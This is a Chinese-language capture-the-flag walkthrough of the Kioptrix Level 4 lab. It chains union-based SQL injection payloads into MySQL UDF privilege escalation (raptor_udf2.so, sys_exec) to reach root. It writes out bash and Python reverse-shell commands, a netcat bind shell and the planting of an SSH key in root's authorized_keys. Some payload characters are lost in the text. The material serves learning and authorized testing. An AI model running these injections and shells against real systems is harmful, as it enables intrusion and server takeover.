从SQL注入到Root权限:MySQL UDF提权实战与原理剖析

发布时间:2026/7/28 1:55:57
从SQL注入到Root权限:MySQL UDF提权实战与原理剖析 1. 项目概述一次从Web到Root的完整渗透之旅如果你对网络安全感兴趣尤其是Web渗透测试那么“从SQL注入到Root权限”这个路径几乎是每个学习者都必须掌握的经典剧本。它描绘了一个攻击者如何从一个看似不起眼的前端漏洞入手层层深入最终完全控制一台服务器的全过程。Kioptrix Level 4靶场正是为这个剧本量身打造的绝佳练习场。它模拟了一个存在漏洞的Web应用其核心挑战就是利用一个SQL注入漏洞结合MySQL数据库的UDF用户自定义函数提权技术最终拿到服务器的最高管理员Root权限。这不仅仅是几个命令的堆砌。整个过程涉及信息收集、漏洞探测、SQL注入利用、数据库权限判断、UDF文件上传与编译、系统命令执行以及最终的权限提升是对渗透测试者综合能力的全面考验。通过亲手复现这个靶场你不仅能深刻理解SQL注入的危害链可以延伸得如此之远更能掌握在真实环境中当面对一个老旧或配置不当的MySQL服务时一种非常经典的提权思路。接下来我将以一个实战者的视角带你完整走一遍这个流程分享其中的关键步骤、踩过的坑以及那些文档里不会写的细节。2. 靶场环境搭建与初步侦察2.1 Kioptrix Level 4靶场部署要点Kioptrix Level 4是一个基于VMware或VirtualBox的虚拟机镜像。拿到OVA或VMDK文件后直接导入虚拟机软件即可。这里有几个实操中容易忽略的细节。首先网络模式强烈建议使用“桥接模式”或“Host-Only模式”。NAT模式虽然能让靶机上网但有时会导致攻击机你的Kali Linux发现不了靶机的IP增加不必要的麻烦。桥接模式最简单靶机会从你的路由器获取一个和你的物理机同网段的IP就像一台真实的新设备接入网络一样。启动靶机后它通常不会显示IP地址。你需要登录进系统查看。默认的登录凭证往往是靶场设计的一部分Kioptrix系列通常会有提示比如在登录界面显示一个IP。如果没显示一个常用的方法是让靶机运行一个简单的网络检测命令。但更通用的做法是在你的攻击机上使用ARP扫描或Netdiscover来发现它。例如在Kali中假设你的网络段是192.168.1.0/24可以运行sudo netdiscover -r 192.168.1.0/24。很快你就会看到一个陌生的MAC地址和IP出现那就是你的靶机。注意靶场的root密码可能默认是空或者一个简单单词如toor但这不重要因为我们的目标就是从外部“黑”进去拿到它。在渗透测试中我们一开始是不知道任何有效凭据的。2.2 信息收集与端口服务探测拿到靶机IP假设为192.168.1.105后第一步永远是全面的信息收集。使用Nmap进行扫描是标准操作。但别只用默认的快速扫描-sV对于这种老式靶场一个全面的扫描更能发现隐藏的入口。sudo nmap -sS -sV -sC -O -p- 192.168.1.105 -T4 -oA kioptrix_l4_full我来拆解一下这个命令的意图-sS: SYN半开放扫描速度快且相对隐蔽。-sV: 探测服务版本这是关键我们需要知道MySQL的确切版本。-sC: 使用默认的Nmap脚本进行更深入的探测可能会发现一些已知漏洞。-O: 尝试识别操作系统帮助我们判断后续提权可能利用的系统漏洞。-p-: 扫描所有65535个端口避免遗漏像高端口Web服务或特殊数据库端口。-T4: 设置扫描速度平衡速度和准确性。-oA: 将结果以所有格式normal, XML, grepable输出便于存档和查阅。扫描结果通常会显示几个关键端口80HTTP Web服务、22SSH和3306MySQL。我们的故事就从80端口的Web应用开始。3. Web漏洞挖掘与SQL注入利用3.1 发现并手动验证SQL注入点访问http://192.168.1.105你会看到一个简单的网站。Kioptrix Level 4的注入点通常设计在登录表单、搜索框或URL参数中。你需要像“黑客”一样思考尝试在所有用户输入的地方提交异常数据。常见测试载荷包括单引号‘、双引号“、‘ or ‘1’’1等。假设我们发现一个URL形如http://192.168.1.105/page.php?id1。手动测试步骤如下初步探测访问page.php?id1‘。如果页面返回错误如SQL语法错误或与正常页面id1明显不同则存在注入可能。判断注入类型访问page.php?id1‘ and ‘1’’1。如果页面正常显示因为and条件为真。再访问page.php?id1‘ and ‘1’’2。如果页面显示异常或为空因为and条件为假。这一真一假的差异就确认了这是一个基于布尔Boolean的SQL注入点。判断列数为后续联合查询Union Select做准备。使用order by子句。访问page.php?id1‘ order by 5----是注释符用于截断后续SQL。如果页面正常说明查询结果的列数至少为5。不断增加数字如10, 15直到页面报错。假设order by 10正常而order by 11报错则说明查询结果有10列。探测回显点知道了列数例如10列接下来找出在页面中显示出来的列。访问page.php?id1‘ and 12 union select 1,2,3,4,5,6,7,8,9,10--。and 12让前半部分查询不返回结果从而让页面显示我们union查询的结果。观察页面原本显示数据的地方可能会变成数字“2”、“3”等这些就是我们可以用来回显数据的列位置。3.2 利用SQL注入获取数据库关键信息通过回显点我们可以系统地抽取数据库信息。假设数字2和3在页面上显示。获取当前数据库和用户page.php?id1‘ and 12 union select 1, database(), user(), 4,5,6,7,8,9,10--这能告诉我们当前应用连接数据库用的是哪个库如webapp和哪个MySQL用户如rootlocalhost。看到root用户就要高度警惕了这意味着我们通过注入获得的数据库权限可能非常高。枚举数据库和表page.php?id1‘ and 12 union select 1, group_concat(schema_name),3,4,5,6,7,8,9,10 from information_schema.schemata--获取所有数据库名。然后选择目标数据库如webapp枚举其表page.php?id1‘ and 12 union select 1, group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema‘webapp’--抽取敏感数据找到类似users,admin的表后进一步枚举列名和数据目标是获取后台登录凭据。虽然Kioptrix L4的最终目标不是后台但这是常规流程。实操心得在实际测试中group_concat()函数非常有用但它有长度限制。如果数据太多可以使用limit子句分批次查询例如limit 0,1、limit 1,1。另外注意观察页面源码有时数据会出现在HTML注释或隐藏标签里。4. MySQL UDF提权原理深度解析在拿到数据库高权限尤其是root用户后我们发现了通往系统权限的大门。UDF提权是MySQL提权中非常经典和强大的一种方式。4.1 什么是UDF为什么能提权UDF即User-Defined Function用户自定义函数。它允许用户像使用内置函数如SUM(),NOW()一样使用自己用C/C编写的函数。MySQL提供了一个机制可以从特定的插件目录由plugin_dir变量定义加载编译好的共享库文件Linux下是.so文件Windows下是.dll文件并将其中的函数注册为SQL函数。提权的核心逻辑在于如果我们能创建一个执行系统命令的UDF例如创建一个叫sys_exec的函数其功能是执行传入的命令字符串并且我们拥有向plugin_dir写入文件的权限通过SQL注入的FILE权限那么我们就能在数据库层面“定义”一个可以调用系统shell的函数。进而通过执行SELECT sys_exec(‘whoami’);这样的SQL语句就能以MySQL服务进程的权限执行任意系统命令。关键在于MySQL服务进程mysqld以什么系统用户身份运行。在很多老旧或配置不当的系统中为了省事MySQL会以root系统用户身份运行。那么通过UDF执行的命令自然也就拥有了root权限。这就是“从SQL注入到Root权限”链条中最关键的一跃。4.2 前提条件检查不是所有MySQL都能UDF提权。在动手前必须进行严格的检查数据库用户权限我们之前通过user()函数已经知道是rootlocalhost。还需要确认是否有FILE权限这是写入文件所必须的。SELECT file_priv FROM mysql.user WHERE user ‘root’ AND host ‘localhost’;如果返回Y则具备条件。plugin_dir路径这是MySQL寻找UDF插件的位置。我们必须知道这个路径。SELECT plugin_dir;典型路径可能是/usr/lib/mysql/plugin/或/usr/lib64/mysql/plugin/。我们必须能将文件写入这个目录。MySQL版本与系统架构我们需要上传对应系统架构和MySQL版本的UDF库文件。通过之前的信息收集我们已经知道系统是Linux如32位的x86MySQL版本如5.0.x。这决定了我们该准备哪个.so文件。注意事项在真实环境中secure_file_priv这个系统变量也可能限制文件写入。如果其值不为空如/tmp/则只能向指定目录写入。但在Kioptrix L4这类老靶场中此变量通常为空允许写入任意目录。检查命令SELECT secure_file_priv;5. 完整提权流程实操记录5.1 准备UDF共享库文件我们不需要自己从头编译。在Kali Linux中sqlmap和Metasploit都自带了常用的UDF库文件。对于32位Linux系统一个常用的库是lib_mysqludf_sys.so。我们可以在Kali中找到它find / -name “lib_mysqludf_sys.so“ 2/dev/null # 或者通常在 sqlmap 的 UDF 目录下 ls -la /usr/share/sqlmap/extra/udf/mysql/linux/32/你会看到多个文件其中lib_mysqludf_sys.so_可能是一个经过编码的版本。sqlmap提供udf/mysql.py脚本进行解码但更简单的方法是使用Metasploit的版本或者从网上下载现成的。为了教学我们假设已经准备好了一个名为raptor_udf2.so的经典提权库这是由一位安全研究员“raptor”编写的。我们需要将这个.so文件从攻击机上传到靶机的MySQL插件目录。由于我们有SQL注入点可以通过MySQL的SELECT ... INTO DUMPFILE或SELECT ... INTO OUTFILE语句将文件内容以16进制或Base64的形式写入。这里使用16进制方式更可靠。首先在攻击机上将.so文件转换为16进制字符串# 假设我们的文件是 raptor_udf2.so xxd -p raptor_udf2.so | tr -d ‘\n‘ udf_hex.txt这会生成一个很长的连续16进制字符串。我们需要在SQL注入中分批次将这个字符串写入靶机的一个临时文件如/tmp/udf.so因为单次查询可能有长度限制。5.2 通过SQL注入写入UDF文件这是一个精细操作。我们通过注入点执行SQL语句将16进制内容写入/tmp目录通常可写。假设我们通过联合查询在回显点2执行语句。第一步先写入一个小的文本文件测试写入权限和路径page.php?id1‘ and 12 union select 1, “test“ INTO OUTFILE “/tmp/test.txt“,3,4,5,6,7,8,9,10--然后访问http://192.168.1.105:8080/test.txt如果Web根目录可访问或尝试通过其他方式验证文件是否创建。如果成功则进行真正的写入。由于完整的16进制字符串太长我们需要分割。一种方法是使用MySQL的hex()和concat()函数但更直接的是利用注入点分多次写入。我们可以编写一个简单的Python脚本来自动化这个过程或者使用sqlmap的--file-write和--file-dest选项。但为了理解原理我们手动描述关键步骤核心SQL语句模板是SELECT unhex(‘十六进制字符串片段‘) INTO DUMPFILE ‘/tmp/udf_part1.so‘;INTO DUMPFILE会原样写入二进制数据适合写入库文件。我们需要将完整的.so文件16进制字符串分割成多个片段分别写入多个文件如udf_part1.so,udf_part2.so然后在靶机上使用cat命令通过后续创建的UDF函数执行将它们合并。更巧妙的方法是直接一次性写入但需要确保你的注入点能承载超长字符串。在Kioptrix L4中由于其设计我们通常可以采用一种更简单的方式利用Web应用的上传功能。有时靶场会有一个文件上传点我们可以将.so文件伪装成图片上传然后通过SQL注入获取上传后的文件路径再将其移动到plugin_dir。这需要结合具体的靶场逻辑。假设我们最终通过某种方式无论是直接DUMPFILE还是上传后移动将raptor_udf2.so成功放置到了MySQL的插件目录例如/usr/lib/mysql/plugin/raptor.so。5.3 创建UDF函数并执行系统命令文件就位后剩下的就是标准的SQL操作了。创建函数通过注入点执行以下SQL将共享库中的函数映射到MySQL。CREATE FUNCTION sys_exec RETURNS integer SONAME ‘raptor.so‘;这条命令告诉MySQL从raptor.so库中加载一个名为sys_exec的函数它返回一个整数。如果成功函数即创建。验证函数并执行命令SELECT sys_exec(‘id /tmp/out.txt‘);这条命令执行系统命令id并将输出重定向到/tmp/out.txt文件。返回值通常是命令的退出状态码。读取命令输出由于sys_exec不直接返回命令输出我们需要将输出写入文件再读取文件内容。通过注入点读取/tmp/out.txtpage.php?id1‘ and 12 union select 1, load_file(‘/tmp/out.txt‘),3,4,5,6,7,8,9,10--如果一切顺利你会在页面上看到uid0(root) gid0(root) ...恭喜你已经以root权限执行了命令。获取交互式Shell执行命令只是第一步我们最终需要一个稳定的、交互式的root shell。有多种方法反向Shell在攻击机Kali上监听一个端口nc -lvnp 4444然后在靶机上通过UDF执行反向连接命令。SELECT sys_exec(‘bash -c “bash -i /dev/tcp/192.168.1.100/4444 01”‘);其中192.168.1.100是你的Kali攻击机IP。绑定Shell在靶机上开启一个端口监听nc -lvnp 5555 -e /bin/bash然后从攻击机连接过去。但可能受防火墙限制。添加SSH密钥如果靶机有SSH服务22端口开放我们可以通过UDF将我们的公钥写入root用户的.ssh/authorized_keys文件然后直接ssh免密登录为root。SELECT sys_exec(‘echo “ssh-rsa AAAAB3NzaC... your-public-key” /root/.ssh/authorized_keys‘);这是最优雅、最稳定的方式。6. 踩坑实录与进阶思考6.1 常见问题与解决方案CREATE FUNCTION报错 “ERROR 1126 (HY000): Can‘t open shared library‘...”原因最常见的原因是库文件路径不对、文件名错误或者库文件与MySQL架构/版本不兼容。排查确认SELECT plugin_dir;的路径。确认库文件是否确实在该目录下且文件名完全匹配CREATE FUNCTION语句中的名字。使用file命令在攻击机上检查你的.so文件是否是32位ELF格式对于32位靶机。file raptor_udf2.so。尝试换一个UDF库文件比如从sqlmap或Metasploit里换一个不同版本的。写入文件失败权限不足原因虽然数据库用户有FILE权限但MySQL进程mysqld对目标目录没有写权限。解决尝试写入其他目录如/tmp、/var/tmp。先写入临时目录再尝试通过UDF执行系统命令来移动文件。例如先写入/tmp/raptor.so然后创建函数时尝试CREATE FUNCTION sys_exec RETURNS integer SONAME ‘/tmp/raptor.so‘;。但MySQL可能只允许从plugin_dir加载这时就需要用已创建的函数执行cp /tmp/raptor.so /usr/lib/mysql/plugin/。UDF函数创建成功但执行命令无反应原因命令本身执行了但可能没有输出或输出到了别处。sys_exec只返回退出码。排查执行一个会产生明显效果的命令来测试比如SELECT sys_exec(‘touch /tmp/pwned_success‘);然后检查文件是否被创建。或者用写入文件的方式捕获输出如前文的id /tmp/out.txt。反向Shell连接失败原因靶机可能没有bash、ncnetcat或者命令语法因系统而异如/bin/bash路径不同或者防火墙出站规则限制。解决先确认命令执行是否生效SELECT sys_exec(‘which bash nc python perl php‘ /tmp/paths.txt);然后读取/tmp/paths.txt看看有哪些可用的程序。尝试使用其他语言的反向Shell如Python、Perl、PHP。Python在多数系统上更常见SELECT sys_exec(‘python -c “import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”192.168.1.100\“,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([\”/bin/sh\“, \”-i\“]);”‘);检查攻击机防火墙是否允许入站连接。6.2 提权后的痕迹清理与思考在渗透测试的授权演练中清理痕迹是必要环节。通过UDF提权后至少要做删除UDF函数DROP FUNCTION sys_exec;删除共享库文件通过创建的UDF执行rm /usr/lib/mysql/plugin/raptor.so。删除临时文件清理/tmp目录下创建的测试文件、输出文件等。恢复SSH配置如果修改了删除添加到authorized_keys中的公钥。进阶思考Kioptrix Level 4展示的是一种“理想化”但非常经典的路径。真实环境会更复杂MySQL非root运行现代系统通常让MySQL以mysql或mysqld专用用户运行。即使UDF提权成功获得的也是这个低权限用户的shell。你需要进一步进行系统层面的本地提权如利用内核漏洞、SUID文件、sudo权限配置不当等这又是一个新的挑战。防护与检测WAFWeb应用防火墙可能会拦截SQL注入载荷。HIDS主机入侵检测系统可能会监控plugin_dir目录的非正常文件写入和CREATE FUNCTION操作。这要求攻击者采用更隐蔽的方式。替代方案如果UDF提权受阻可以尝试其他MySQL提权方法如利用lib_mysqludf_sys的早期漏洞、通过写Webshell到网站目录、利用MySQL日志文件写入恶意代码等。复现Kioptrix Level 4的价值在于将“SQL注入”和“提权”这两个孤立的知识点串联成一条完整的攻击链。它让你亲身体验到一个前端的输入点漏洞如何与后端服务的配置缺陷相结合产生毁灭性的后果。理解并防御这条链条正是安全工作的核心所在。在你自己搭建环境或测试授权目标时务必时刻谨记每一次SELECT都可能是一次sys_exec的伏笔每一个rootlocalhost都可能是一把打开系统大门的钥匙。